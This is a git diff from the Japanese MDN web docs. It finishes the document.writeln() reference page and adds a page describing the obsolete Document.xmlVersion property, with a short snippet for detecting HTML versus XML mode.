{{SpecName("HTML WHATWG", "#dom-document-writeln", "document.writeln()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-35318390", "document.writeln()")}}{{Spec2("DOM2 HTML")}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.writeln")}}

diff --git a/files/ja/web/api/document/xmlversion/index.html b/files/ja/web/api/document/xmlversion/index.html new file mode 100644 index 0000000000..5749711827 --- /dev/null +++ b/files/ja/web/api/document/xmlversion/index.html @@ -0,0 +1,36 @@ +--- +title: Document.xmlVersion +slug: Web/API/Document/xmlVersion +tags: + - API + - DOM + - DOM リファレンス + - Document + - Obsolete + - Reference + - プロパティ +translation_of: Web/API/Document/xmlVersion +--- +
{{APIRef("DOM")}}{{obsolete_header("10.0")}}
+ +

XML 宣言 (例えば <?xml version="1.0"?>) で指定されたバージョン番号を返し、宣言がなければ "1.0" を返します。

+ +

この属性は常に 1.0 を返していたので、本当は有用ではなく、 DOM Level 4 で削除されました。同様に、 Firefox 10 はもう実装していません。以前の主な使用法は、文書が HTML ではなく XML として表示するかどうかを検出するためでした。これは、小文字で要素を作成し、すべて大文字に変換されるかどうかを確認することによって検出することができます (文書が XML ではない HTML モードの場合)。

+ +
if (document.createElement("foo").tagName == "FOO") {
+  /* 文書は XML ではない */
+}
+
+ +

仕様書

+ + + +

ブラウザーの対応

+ + + +
{{Compat("api.Document.xmlVersion")}}
-- cgit v1.2.3-54-g00ecf